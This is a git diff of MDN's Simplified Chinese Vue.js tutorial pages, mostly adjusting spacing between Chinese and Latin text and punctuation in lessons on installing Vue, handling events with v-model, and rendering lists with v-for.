-也就是说,您还可以使用Vue编写整个单页应用程序(SPAs)。这允许您创建标记完全由Vue管理,可以提高开发人员的经验和性能在处理复杂的应用程序。当你需要的时候它还允许您利用其他库对客户端路由和状态进行管理。此外,Vue需要“中间地带”的方法工具客户端路由和状态管理。虽然Vue核心团队维护了建议的函数库,但他们并没有直接捆绑到 Vue 里。这样你就可以选择一个其他路由/状态管理库,来更好地适应您的应用程序。
+也就是说,您还可以使用 Vue 编写整个单页应用程序 (SPAs)。这允许您创建标记完全由 Vue 管理,可以提高开发人员的经验和性能在处理复杂的应用程序。当你需要的时候它还允许您利用其他库对客户端路由和状态进行管理。此外,Vue 需要“中间地带”的方法工具客户端路由和状态管理。虽然 Vue 核心团队维护了建议的函数库,但他们并没有直接捆绑到 Vue 里。这样你就可以选择一个其他路由/状态管理库,来更好地适应您的应用程序。
-除了允许您逐步将Vue集成到您的应用程序中,Vue还提供了一种渐进的方式编写标记。像大多数框架,Vue通过组件允许您创建可重用块标记。大多数时候,Vue组件是使用一个特殊的HTML模板的语法写的。当您需要比HTML语法允许的更多的控制时,您可以编写JSX或纯JavaScript函数来定义组件。
+除了允许您逐步将 Vue 集成到您的应用程序中,Vue 还提供了一种渐进的方式编写标记。像大多数框架,Vue 通过组件允许您创建可重用块标记。大多数时候,Vue 组件是使用一个特殊的 HTML 模板的语法写的。当您需要比 HTML 语法允许的更多的控制时,您可以编写 JSX 或纯 JavaScript 函数来定义组件。
-在学习本教程的过程中,您可能希望在其他选项卡中打开Vue指南和API文档,这样,如果您想了解更多信息,可以参考它们。
+在学习本教程的过程中,您可能希望在其他选项卡中打开Vue 指南和API 文档,这样,如果您想了解更多信息,可以参考它们。
-要想对Vue和许多其他框架进行比较(但可能存在偏差),请参阅Vue文档:与其他框架的比较。
+要想对 Vue 和许多其他框架进行比较 (但可能存在偏差),请参阅 Vue 文档:与其他框架的比较。
-安装Vue
+安装 Vue
-要在现有站点中使用Vue,可以通过<script>元素在页面中使用。这使您可以开始在现有站点上使用Vue,这就是Vue引以为傲的渐进式框架的原因。当使用JQuery这样的库将现有项目迁移到Vue时,这是一个很好的选择。通过这种方法,您可以使用Vue的许多核心功能,例如属性、自定义组件和数据管理。
+要在现有站点中使用 Vue,可以通过<script>元素在页面中使用。这使您可以开始在现有站点上使用 Vue,这就是 Vue 引以为傲的渐进式框架的原因。当使用 JQuery 这样的库将现有项目迁移到 Vue 时,这是一个很好的选择。通过这种方法,您可以使用 Vue 的许多核心功能,例如属性、自定义组件和数据管理。
-
- @@ -49,13 +49,13 @@
安装Vue
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>- -
生产环境版本,优化了尺寸和速度,建议您在站点上包含Vue时指定版本号,这样任何框架更新都不会影响您的网站。
+生产环境版本,优化了尺寸和速度,建议您在站点上包含 Vue 时指定版本号,这样任何框架更新都不会影响您的网站。
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>然而,这种方法有一些局限性。要构建更复杂的应用程序,您需要使用 Vue NPM package。这将允许您使用Vue的高级功能并利用WebPack等捆绑包。为了使使用Vue构建应用程序更容易,有一个CLI来简化开发过程。要使用npm软件包和CLI,您需要:
+然而,这种方法有一些局限性。要构建更复杂的应用程序,您需要使用 Vue NPM package。这将允许您使用 Vue 的高级功能并利用 WebPack 等捆绑包。为了使使用 Vue 构建应用程序更容易,有一个 CLI 来简化开发过程。要使用 npm 软件包和 CLI,您需要:
- Node.js 8.11+ installed.
@@ -63,10 +63,10 @@安装Vue
--注意:如果您还没有安装上述软件,有关安装NPM和Node.js的方法在这里
+注意:如果您还没有安装上述软件,有关安装 NPM 和 Node.js 的方法在这里
安装CLI,终端中运行以下命令:
+安装 CLI,终端中运行以下命令:
npm install --global @vue/cli@@ -74,7 +74,7 @@安装Vue
yarn global add @vue/cli-安装之后,要初始化一个新项目,可以在要创建项目的目录中打开一个终端,并运行vue create <project-name>。CLI将会给你一个可以使用的项目配置列表。有一些预设的,你可以按照自己的需求。这些选项允许您配置TypeScript,linting,vue-router,testing,和更多。
+安装之后,要初始化一个新项目,可以在要创建项目的目录中打开一个终端,并运行 vue create <project-name>。CLI 将会给你一个可以使用的项目配置列表。有一些预设的,你可以按照自己的需求。这些选项允许您配置 TypeScript,linting,vue-router,testing,和更多。
@@ -172,7 +172,7 @@
- @@ -84,13 +84,13 @@
安装Vue
初始化一个新项目
-为了探索Vue中各种各样的特征,我们将建立一个简单的任务清单应用。我们将会使用Vue脚手架工具去创建一个新的应用框架并在上面搭建我们的应用。请按照以下步骤:
+为了探索 Vue 中各种各样的特征,我们将建立一个简单的任务清单应用。我们将会使用 Vue 脚手架工具去创建一个新的应用框架并在上面搭建我们的应用。请按照以下步骤:
-
- 在终端,用cd命令进入你想要创建示例的文件夹,然后执行
-vue create moz-todo-vue.
- 使用方向键然后 Enter 选择 "Manually select features(手动选择功能)" 选项.
-- 你会看到的第一个菜单允许你选择你想要包含在你的项目中的功能。确保 "Babel" 和 "Linter / Formatter" 这两项是被选中的. 如果他们没有被选中,使用方向键切换,空格键选中,一旦他们被选中按下 Enter 继续进行。
-- 接下来你要为linter / formatter选择一个配置。切换选中"Eslint with error prevention only"然后再次按下 Enter 。这样辅助我们捕获常见的并且不自以为是的错误。
+- 在终端,用 cd 命令进入你想要创建示例的文件夹,然后执行
+vue create moz-todo-vue.
- 使用方向键然后 Enter 选择 "Manually select features(手动选择功能)" 选项。
+- 你会看到的第一个菜单允许你选择你想要包含在你的项目中的功能。确保 "Babel" 和 "Linter / Formatter" 这两项是被选中的。如果他们没有被选中,使用方向键切换,空格键选中,一旦他们被选中按下 Enter 继续进行。
+- 接下来你要为 linter / formatter 选择一个配置。切换选中"Eslint with error prevention only"然后再次按下 Enter 。这样辅助我们捕获常见的并且不自以为是的错误。
- 然后你会被询问需要那种自动化的 lint,选择 "Lint on save",这样我们在项目中保存文件的时候就会自动检查错误。按下 Enter 继续。
- 接着你将需要选择把配置文件放在哪里。"In dedicated config files" 这个选项会把你的配置文件比如 ESLint 单独放在一个文件里。另一个选项 "In package.json" 则会把配置放进项目的 package.json 文件里。选择 "In dedicated config files" 然后使劲敲下 Enter。
- 最后会问你,是否选择把本次的选择作为将来的一个预设配置(Save this as a preset for future projects?),这个就安全由你自己决定了。如果你想把本次的配置作为一个预设配置并且以后想再次使用的话,按下 y , 否则按下 n。
@@ -125,7 +125,7 @@项目结构
main.js
:这是应用的入口文件。目前它会初始化 Vue 应用并且制定将应用挂载到index.html
文件中的哪个 HTML 元素上。通常还会做一些注册全局组件或者添额外的 Vue 库的操作。App.vue
:这是 Vue 应用的根节点组件,往下看可以了解更多关注 Vue 组件的信息。- -
components
:这是用来存放自定义组件的目录,目前里面会有一个示例组件。- +
assets
:这个目录用来存放像 CSS 、图片这种静态资源,但是因为它们属于代码目录下,所以可以用 webpack 来操作和处理。意思就是你可以使用一些预处理比如 Sass/SCSS 或者 Stylus。assets
:这个目录用来存放像 CSS、图片这种静态资源,但是因为它们属于代码目录下,所以可以用 webpack 来操作和处理。意思就是你可以使用一些预处理比如 Sass/SCSS 或者 Stylus。App.vue
注意: 如果想要使用 TypeScript 语法,你应该将
-<script>
标签的lang
属性设置为<script lang="ts">
来告诉编译器你要使用 TypeScript。组件的 CSS 应该写在
+<style>
标签里,如果你添加了scoped
属性,形如<style scoped>
,Vue 会把样式的范围限制到单文件组件的内容里。这个类似 CSS-in-JS 的解决方案,不过允许你书写文本格式的 CSS了。组件的 CSS 应该写在
<style>
标签里,如果你添加了scoped
属性,形如<style scoped>
,Vue 会把样式的范围限制到单文件组件的内容里。这个类似 CSS-in-JS 的解决方案,不过允许你书写文本格式的 CSS 了。注意: 如果通过 CLI 创建项目时选择了 CSS 预处理器,则可以将
@@ -180,9 +180,9 @@lang
属性添加到<style>
标签中,以便 Webpack 可以在构建时处理内容。例如,<style lang ="scss">
将允许您在样式信息中使用 SCSS 语法。App.vue
本地运行程序
-Vue CLI 带有内置的开发服务器。这样一来,您就可以在本地运行您的应用程序,这样就可以轻松对其进行测试,而无需自己配置服务器。 CLI 会以 npm 脚本的形式将
+serve
命令添加到项目的package.json
文件中,因此您可以轻松地运行它。Vue CLI 带有内置的开发服务器。这样一来,您就可以在本地运行您的应用程序,这样就可以轻松对其进行测试,而无需自己配置服务器。CLI 会以 npm 脚本的形式将
-serve
命令添加到项目的package.json
文件中,因此您可以轻松地运行它。在您的终端中,尝试运行
+npm run serve
(或者如果希望使用 yarn ,则运行yarn serve
)。您的终端应输出类似以下内容的内容:在您的终端中,尝试运行
npm run serve
(或者如果希望使用 yarn,则运行yarn serve
)。您的终端应输出类似以下内容的内容:INFO Starting development server... 98% after emitting CopyPlugin @@ -198,7 +198,7 @@本地运行程序
If you navigate to the “local” address in a new browser tab (this should be something like
-http://localhost:8080
as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.如果在浏览器新选项卡打开“本地”地址(如上所述,该地址应类似于
+http://localhost:8080
,但可能会因设置而异),您应该会看到您的应用。现在,它应该包含欢迎消息,Vue文档的链接,使用 CLI 初始化应用程序时添加的插件的链接,以及指向Vue社区和生态系统的其他有用链接。如果在浏览器新选项卡打开“本地”地址(如上所述,该地址应类似于
@@ -253,7 +253,7 @@http://localhost:8080
,但可能会因设置而异),您应该会看到您的应用。现在,它应该包含欢迎消息,Vue 文档的链接,使用 CLI 初始化应用程序时添加的插件的链接,以及指向 Vue 社区和生态系统的其他有用链接。In this module
- Framework main features
- React
-
- 开始使用React
+- 开始使用 React
- 开始我们的 React todo list
- 组件化我们的 React app
- React interactivity: Events 和 state
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html index 698b5deec91e1a..965768c386fd34 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_methods_events_models/index.html @@ -17,7 +17,7 @@先决条件: 熟悉核心 HTML、CSS 和 JavaScript 语言,了解 终端/命令行。
-Vue 组件被编写为管理应用程序数据的 JavaScript 对象和映射到底层 DOM 结构的基于 HTML 的模板语法的组合。 对于安装,以及使用 Vue 的一些更高级的功能(如单文件组件或渲染功能),你需要一个安装了 node + npm 的终端。
+Vue 组件被编写为管理应用程序数据的 JavaScript 对象和映射到底层 DOM 结构的基于 HTML 的模板语法的组合。对于安装,以及使用 Vue 的一些更高级的功能(如单文件组件或渲染功能),你需要一个安装了 node + npm 的终端。
@@ -31,7 +31,7 @@ 创建一个新的待办事项表单
我们的 app 可以展示待办事项列表,但是我们不能更新该列表,除非手动更改代码。让我们新建一个组件来允许我们添加新的待办项。
-在components目录下, 新建文件
+ToDoForm.vue
.在 components 目录下,新建文件
ToDoForm.vue
.
- @@ -44,7 +44,7 @@
创建一个新的待办事项表单
</script>- -
新建一个 HTML 表单来允许我们输入新的待办项并把它提交到app。我们需要一个
+<form>
,它里面包含<label>
,一个<input>
,一个<button>
。更新后的模版如下:新建一个 HTML 表单来允许我们输入新的待办项并把它提交到 app。我们需要一个
<form>
,它里面包含<label>
,一个<input>
,一个<button>
。更新后的模版如下:<template> <form> @@ -63,15 +63,15 @@-创建一个新的待办事项表单
</form> </template>现在我们有一个可以form组件可以用来输入新的待办项的标题,它最终会渲染成
+ToDoItem
的label。现在我们有一个可以 form 组件可以用来输入新的待办项的标题,它最终会渲染成
ToDoItem
的 label。- -
我们把这个组件添加到app中,返回
+App.vue
然后在<script>
添加下面的语句:我们把这个组件添加到 app 中,返回
App.vue
然后在<script>
添加下面的语句:import ToDoForm from './components/ToDoForm';- -
在你的App组件中注册它
+在你的 App 组件中注册它
components: { ToDoItem, @@ -79,7 +79,7 @@创建一个新的待办事项表单
}- -
最后将
+ToDoForm
组件添加到App中的<template>
中,像下面这样:最后将
ToDoForm
组件添加到 App 中的<template>
中,像下面这样:<template> <div id="app"> @@ -107,7 +107,7 @@创建一个方法
- -
在这个组件中,我们需要在
+ToDoForm
组件对象内的methods
属性中添加一个onSubmit()
方法。 我们将使用它来处理提交操作。就像这样:在这个组件中,我们需要在
ToDoForm
组件对象内的methods
属性中添加一个onSubmit()
方法。我们将使用它来处理提交操作。就像这样:export default { methods: { @@ -118,7 +118,7 @@创建一个方法 }
- -
@@ -154,7 +154,7 @@接下来我们需要将该方法绑定到我们的
+<form>
元素的submit
事件处理程序。 就像 Vue 如何使用v-bind
语法来绑定属性,Vue 有 用于事件处理的特殊指令:v-on
。v-on
指令通过v-on:event="method"
语法工作。 和v-bind
很像,还有一个简写语法:@event="method"
。为了保持一致性,我们将在此处使用简写语法。 将submit
处理程序添加到你的<form>
元素,如下所示:接下来我们需要将该方法绑定到我们的
<form>
元素的submit
事件处理程序。就像 Vue 如何使用v-bind
语法来绑定属性,Vue 有 用于事件处理的特殊指令:v-on
。v-on
指令通过v-on:event="method"
语法工作。和v-bind
很像,还有一个简写语法:@event="method"
。为了保持一致性,我们将在此处使用简写语法。将submit
处理程序添加到你的<form>
元素,如下所示:<form @submit="onSubmit">@@ -127,8 +127,8 @@创建一个方法
当你运行此程序时,应用程序仍会将数据发布到服务器,从而导致刷新。由于我们在客户端上进行所有处理,因此没有服务器来处理回发。我们还会在页面刷新时丢失所有本地状态。为了防止浏览器发布到服务器,我们需要阻止事件的默认操作通过页面冒泡(
Event .preventDefault()
,在原生 JavaScript 中)。Vue 有一个特殊的语法叫做 event modifiers 可以在我们的模板中为我们处理这个问题。修饰符被附加到事件的末尾,带有一个点,如下所示:@event.modifier
。以下是事件修饰符列表:-
-- -
.stop
:停止传播事件。 等效于常规 JavaScript 事件中的Event.stopPropagation()
。- +
.prevent
:阻止事件的默认行为。 等效于Event.preventDefault()
。- +
.stop
:停止传播事件。等效于常规 JavaScript 事件中的Event.stopPropagation()
。.prevent
:阻止事件的默认行为。等效于Event.preventDefault()
。.self
:仅当事件是从该确切元素分派时触发处理程序。{.key}
:仅通过指定键触发事件处理程序。 MDN 有一个有效键值列表; 多词键只需转换为 kebab 大小写(例如page-down
)。- @@ -139,7 +139,7 @@
.native
:监听组件根(最外层的包装)元素上的原生事件。创建一个方法
.passive
:等效于在 vanilla JavaScript 中使用addEventListener()
创建事件监听器时传入{ passive: true }
参数。在这种情况下,我们需要使用
+.prevent
处理程序来停止浏览器的默认提交操作。 将.prevent
添加到模板中的@submit
处理程序中,如下所示:在这种情况下,我们需要使用
.prevent
处理程序来停止浏览器的默认提交操作。将.prevent
添加到模板中的@submit
处理程序中,如下所示:<form @submit.prevent="onSubmit">用 v-model 来绑定数据到输
我们首先需要的是表单中的
data
属性来跟踪待办事项的值。
- -
向我们的
+ToDoForm
组件对象添加一个data()
方法,该方法返回一个label
字段。 我们可以将label
的初始值设置为空字符串。向我们的
ToDoForm
组件对象添加一个data()
方法,该方法返回一个label
字段。我们可以将label
的初始值设置为空字符串。你的组件对象现在应该如下所示:
@@ -189,7 +189,7 @@用 v-model 来绑定数据到输
- -
让我们通过记录在我们的
+onSubmit()
方法中提交的数据的值来测试我们对v-model
的使用。 在组件中,使用this
关键字访问数据属性。 所以我们使用this.label
访问我们的label
字段。让我们通过记录在我们的
onSubmit()
方法中提交的数据的值来测试我们对v-model
的使用。在组件中,使用this
关键字访问数据属性。所以我们使用this.label
访问我们的label
字段。更新你的
@@ -200,7 +200,7 @@onSubmit()
方法,使其如下所示:用 v-model 来绑定数据到输 },
- -
@@ -210,17 +210,17 @@现在回到你正在运行的应用程序,在
+<input>
字段中添加一些文本,然后单击“添加”按钮。 你应该会看到你输入的值已记录到控制台,例如:现在回到你正在运行的应用程序,在
<input>
字段中添加一些文本,然后单击“添加”按钮。你应该会看到你输入的值已记录到控制台,例如:Label value: My value使用修饰符改变
v-
与事件修饰符类似,我们也可以添加修饰符来改变
-v-model
的行为。在我们的案例中,有两个值得考虑。第一个,.trim
,将删除输入之前或之后的空格。我们可以将修饰符添加到我们的v-model
语句中,如下所示:v-model.trim="label"
。我们应该考虑的第二个修饰符称为
+.lazy
。当v-model
同步文本输入的值时,此修饰符会发生变化。如前所述,v-model
同步通过使用事件更新变量来工作。对于文本输入,此同步使用input
事件进行。 通常,这意味着 Vue 在每次击键后都会同步数据。.lazy
修饰符导致v-model
使用change
事件 代替。这意味着 Vue 只会在输入失去焦点或提交表单时同步数据。 就我们的目的而言,这更合理,因为我们只需要最终数据。我们应该考虑的第二个修饰符称为
.lazy
。当v-model
同步文本输入的值时,此修饰符会发生变化。如前所述,v-model
同步通过使用事件更新变量来工作。对于文本输入,此同步使用input
事件进行。通常,这意味着 Vue 在每次击键后都会同步数据。.lazy
修饰符导致v-model
使用change
事件 代替。这意味着 Vue 只会在输入失去焦点或提交表单时同步数据。就我们的目的而言,这更合理,因为我们只需要最终数据。要同时使用
-.lazy
修饰符和.trim
修饰符,我们可以将它们链接起来,例如v-model.lazy.trim="label"
。如上所示更新你的
+v-model
属性以链接lazy
和trim
,然后再次测试你的应用。 例如,尝试提交一个两端都有空格的值。如上所示更新你的
v-model
属性以链接lazy
和trim
,然后再次测试你的应用。例如,尝试提交一个两端都有空格的值。使用自定义事件将数据传递给父母
-我们现在非常接近能够将新的待办事项添加到我们的列表中。 接下来我们需要做的是将新创建的待办事项传递给我们的
+App
组件。 为此,我们可以让我们的ToDoForm
发出一个传递数据的自定义事件,并让App
监听它。 这与 HTML 元素上的原生事件非常相似:子组件可以发出可以通过v-on
监听的事件。我们现在非常接近能够将新的待办事项添加到我们的列表中。接下来我们需要做的是将新创建的待办事项传递给我们的
-App
组件。为此,我们可以让我们的ToDoForm
发出一个传递数据的自定义事件,并让App
监听它。这与 HTML 元素上的原生事件非常相似:子组件可以发出可以通过v-on
监听的事件。在
+ToDoForm
的onSubmit
事件中,我们添加一个todo-added
事件。 自定义事件的发射方式如下:this.$emit("event-name")
。 重要的是要知道事件处理程序区分大小写并且不能包含空格。 Vue 模板也被转换为小写,这意味着 Vue 模板无法监听以大写字母命名的事件。在
ToDoForm
的onSubmit
事件中,我们添加一个todo-added
事件。自定义事件的发射方式如下:this.$emit("event-name")
。重要的是要知道事件处理程序区分大小写并且不能包含空格。Vue 模板也被转换为小写,这意味着 Vue 模板无法监听以大写字母命名的事件。@@ -332,7 +332,7 @@
将
@@ -228,7 +228,7 @@onSubmit()
方法中的console.log()
替换为以下内容:使用自定义事件将数
this.$emit("todo-added");- -
接下来,回到
+App.vue
并添加一个methods
属性到包含addToDo()
方法的组件对象,如图所示 以下。 目前,此方法只需将To-do added
记录到控制台即可。接下来,回到
App.vue
并添加一个methods
属性到包含addToDo()
方法的组件对象,如图所示 以下。目前,此方法只需将To-do added
记录到控制台即可。export default { name: 'app', components: { @@ -253,14 +253,14 @@使用自定义事件将数 };
- -
接下来,将
+todo-added
事件的事件监听器添加到<to-do-form></to-do-form>
,它 事件触发时调用addToDo()
方法。 使用@
简写,监听器看起来像这样:@todo-added="addToDo"
:接下来,将
todo-added
事件的事件监听器添加到<to-do-form></to-do-form>
,它 事件触发时调用addToDo()
方法。使用@
简写,监听器看起来像这样:@todo-added="addToDo"
:<to-do-form @todo-added="addToDo"></to-do-form>- -
当你提交
+ToDoForm
时,你应该会看到来自addToDo()
方法的控制台日志。 这很好,但我们仍然没有将任何数据传递回App.vue
组件。 我们可以通过将额外的参数传递给ToDoForm
组件中的this.$emit()
函数来做到这一点。当你提交
-ToDoForm
时,你应该会看到来自addToDo()
方法的控制台日志。这很好,但我们仍然没有将任何数据传递回App.vue
组件。我们可以通过将额外的参数传递给ToDoForm
组件中的this.$emit()
函数来做到这一点。在这种情况下,当我们触发事件时,我们希望将
+label
数据连同它一起传递。 这是通过在$emit()
方法中包含你要作为另一个参数传递的数据来完成的:this.$emit("todo-added", this.label)
。 这类似于原生 JavaScript 事件如何包含数据,除了自定义 Vue 事件默认不包含事件对象。 这意味着发出的事件将直接匹配你提交的任何对象。 所以在我们的例子中,我们的事件对象只是一个字符串。在这种情况下,当我们触发事件时,我们希望将
label
数据连同它一起传递。这是通过在$emit()
方法中包含你要作为另一个参数传递的数据来完成的:this.$emit("todo-added", this.label)
。这类似于原生 JavaScript 事件如何包含数据,除了自定义 Vue 事件默认不包含事件对象。这意味着发出的事件将直接匹配你提交的任何对象。所以在我们的例子中,我们的事件对象只是一个字符串。像这样更新你的
@@ -309,7 +309,7 @@onSubmit()
方法:将新的待办事项添加到我们 }
- -
+再次尝试你的表单。 现在你将无法将空项目添加到待办事项列表中。
再次尝试你的表单。现在你将无法将空项目添加到待办事项列表中。
使用
v-model
更总结
-非常好。 我们现在可以将待办事项添加到我们的表单中! 我们的应用程序现在开始感觉具有交互性,但一个问题是到目前为止我们完全忽略了它的外观和感觉。 在下一篇文章中,我们将集中精力解决这个问题,看看 Vue 为组件样式提供的不同方式。
+非常好。我们现在可以将待办事项添加到我们的表单中!我们的应用程序现在开始感觉具有交互性,但一个问题是到目前为止我们完全忽略了它的外观和感觉。在下一篇文章中,我们将集中精力解决这个问题,看看 Vue 为组件样式提供的不同方式。
{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html index 348e6d13f84bc4..58a1ce95b4ba07 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_rendering_lists/index.html @@ -2,14 +2,14 @@ title: Rendering a list of Vue components slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists tags: - - vue入门 + - vue 入门 translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists ---{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-现在我们已经有了一个可以工作的组件。我们接下来添加更多的
+ToDoItem
组件到 我们的App。 本文我们会添加一系列待办事项到App.vue组件并使用v-for
指令遍历这些它们,将它们的每一项展示在ToDoItem
组件中。现在我们已经有了一个可以工作的组件。我们接下来添加更多的
ToDoItem
组件到 我们的 App。 本文我们会添加一系列待办事项到 App.vue 组件并使用v-for
指令遍历这些它们,将它们的每一项展示在ToDoItem
组件中。@@ -30,11 +30,11 @@
利用 v-for 指令渲染列表
-一个有效的待办事项列表需要有多个被渲染的to-do项,Vue中的
+v-for
可以用来实现这种效果。它是Vue自带的指令,用于在template中实现循环,我们可以利用它将数组中的各项重复渲染成指定的特征。我们将利用它迭代待办事项列表,将其中的每一项展示为单独的ToDoItem组件。一个有效的待办事项列表需要有多个被渲染的 to-do 项,Vue 中的
v-for
可以用来实现这种效果。它是 Vue 自带的指令,用于在 template 中实现循环,我们可以利用它将数组中的各项重复渲染成指定的特征。我们将利用它迭代待办事项列表,将其中的每一项展示为单独的 ToDoItem 组件。添加一些需要被渲染的数据
-首先我们需要准备一个待办事项数组。添加
+data
属性到App.vue
组件对象中, 它包含一个ToDoItems
字段,其值是待办事项数组。在最终完成添加新的待办事项功能之前,我们可以先mock一些待办项目,每个待办项目可以用一个对象表示,这个对象含有name
和done
属性。首先我们需要准备一个待办事项数组。添加
data
属性到App.vue
组件对象中, 它包含一个ToDoItems
字段,其值是待办事项数组。在最终完成添加新的待办事项功能之前,我们可以先 mock 一些待办项目,每个待办项目可以用一个对象表示,这个对象含有name
和done
属性。像下面这样添加一些待办项目让我们可以利用
@@ -55,15 +55,15 @@v-for
来对它们进行渲染。添加一些需要被渲染的数 } }; -
现在我们有了一个列表,可以用
+v-for
去展示它们了。指令的作用方式和元素的属性类似,就v-for而言,它类似js中的for...in
循环,v-for="item in items"
—iterms
是你要迭代的列表,item
是数组中当前元素的引用。现在我们有了一个列表,可以用
v-for
去展示它们了。指令的作用方式和元素的属性类似,就 v-for 而言,它类似 js 中的for...in
循环,v-for="item in items"
—iterms
是你要迭代的列表,item
是数组中当前元素的引用。
v-for
获取每个迭代的元素,并渲染它和它的子元素。在我们的例子中,我们用<li>
的形式展示每一个待办事项,接下来我们会通过每个待办事项传递数据到其对应的ToDoItem
组件。Key 属性
-在进行数据传递之前,我们要了解下
+key
属性,它和v-for
使用,用来帮助Vue标识列表中的元素,这样Vue就不需要在列表变化时重新创建它们。但是Vue需要一个唯一的标识,即key
来识别哪些元素是被复用的。在进行数据传递之前,我们要了解下
-key
属性,它和v-for
使用,用来帮助 Vue 标识列表中的元素,这样 Vue 就不需要在列表变化时重新创建它们。但是 Vue 需要一个唯一的标识,即key
来识别哪些元素是被复用的。为了让Vue能正确的比较
+key
,key属性需要是numeric或者string类型。用name字段不是个好主意,因为这个字段会被用户输入控制,无法保证唯一性。为了让 Vue 能正确的比较
key
,key 属性需要是 numeric 或者 string 类型。用 name 字段不是个好主意,因为这个字段会被用户输入控制,无法保证唯一性。我们可以使用
@@ -74,7 +74,7 @@lodash.uniqueid()
,像我们前一章节那样。Key 属性
import uniqueId from 'lodash.uniqueid';- -
添加
+id
字段到ToDoItems
数组的每一个元素中, 并且将他们赋值为uniqueId('todo-')。
添加
id
字段到ToDoItems
数组的每一个元素中,并且将他们赋值为uniqueId('todo-')。
@@ -107,7 +107,7 @@
App.vue
<script>
元素内容如下:Key 属性
</li> </ul> -这样改后,
+<cli>
标签中的js脚本就可以访问item
了,这意味着我们可以使用v-bind
来传递item
对象的字段给ToDoItem
组件了。这非常有用,我们想让列表中的待办事项的label
值展示到它的label中,而不是显示一个静态的"My Todo Item"。此外,我们想让它们的checked状态反应它们的done
字段,而不是默认的done="false"
。这样改后,
<cli>
标签中的 js 脚本就可以访问item
了,这意味着我们可以使用v-bind
来传递item
对象的字段给ToDoItem
组件了。这非常有用,我们想让列表中的待办事项的label
值展示到它的 label 中,而不是显示一个静态的"My Todo Item"。此外,我们想让它们的 checked 状态反应它们的done
字段,而不是默认的done="false"
。- -
把
@@ -121,16 +121,16 @@label="My ToDo Item"
改成:label="item.label"
,:done="false"
改成:done="item.done"
:Key 属性
现在当你去看运行着的app时,你会发现待办事项显示了它们自己正确的名字,如果你查看源码的话,你会发现输入都有了唯一的id。
+现在当你去看运行着的 app 时,你会发现待办事项显示了它们自己正确的名字,如果你查看源码的话,你会发现输入都有了唯一的 id。
让我们来一点小重构
-我们可以做一点代码重构。 因为我们已经要为每一个待办事项创建一个唯一id,所以不妨把id作为ToDoItem的一个prop,而不是在每个checkbox里生成它。
+我们可以做一点代码重构。 因为我们已经要为每一个待办事项创建一个唯一 id,所以不妨把 id 作为 ToDoItem 的一个 prop,而不是在每个 checkbox 里生成它。
-添加一个新的prop
+id
到ToDoItem
组件。添加一个新的 prop
id
到ToDoItem
组件。-
@@ -150,7 +150,7 @@- 标记它为required,类型是
+String
。- 标记它为 required,类型是
String
。- 为防止命名冲突,删除掉
data
属性中的id
字段。- 删除掉
import uniqueId from 'lodash.uniqueid';
这行。让我们来一点小重构
}, } -现在,在
+App.vue
组件中将item.id
作为一个prop传递给ToDoItem
组件。你的App.vue
template如下所示:现在,在
App.vue
组件中将item.id
作为一个 prop 传递给ToDoItem
组件。你的App.vue
template 如下所示:<template> <div id="app"> @@ -163,7 +163,7 @@-让我们来一点小重构
</div> </template>你渲染后的站点看起来是没有变化的,但是这次重构使得
+item.id
像其他参数一样,作为prop从App.vue
传递给ToDoItem
。现在代码变得更有逻辑性和一致。你渲染后的站点看起来是没有变化的,但是这次重构使得
item.id
像其他参数一样,作为 prop 从App.vue
传递给ToDoItem
。现在代码变得更有逻辑性和一致。总结
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html index d2439e7f5afaa8..391151e1a901e0 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html @@ -28,31 +28,31 @@Further resources
-这里可以学到更多Vue知识:
+这里可以学到更多 Vue 知识:
-
- Vue Docs — The main Vue site. Contains comprehensive documentation, including examples, cookbooks, and reference material. This is the best place to start learning Vue in depth.
- Vue Github Repo — The Vue code itself. This is where you can report issues and/or contribute directly to the Vue codebase. Studying the Vue source code can help you better understand how the framework works, and write better code.
-- Vue Forum — 获取帮助的Vue官方论坛.
+- Vue Forum — 获取帮助的 Vue 官方论坛。
- Vue CLI Docs — Documentation for the Vue CLI. This contains information on customizing and extending the output you are generating via the CLI.
- NuxtJS — NuxtJS is a Server-Side Vue Framework, with some architectural opinions that can be useful to creating maintainable applications, even if you don’t use any of the Server Side Rendering features it provides. This site provides detailed documentation on using NuxtJS.
-- Vue Mastery — 一个Vue学习平台, 也包含一些免费课程.
-- Vue School — 有一个Vue付费学习平台.
+- Vue Mastery — 一个 Vue 学习平台,也包含一些免费课程。
+- Vue School — 有一个 Vue 付费学习平台。
构建并发布你的Vue app
+构建并发布你的 Vue app
-Vue CLI 也提供给我们的app准备发布到网络上的工具 .你可以这样做:
+Vue CLI 也提供给我们的 app 准备发布到网络上的工具 .你可以这样做:
-
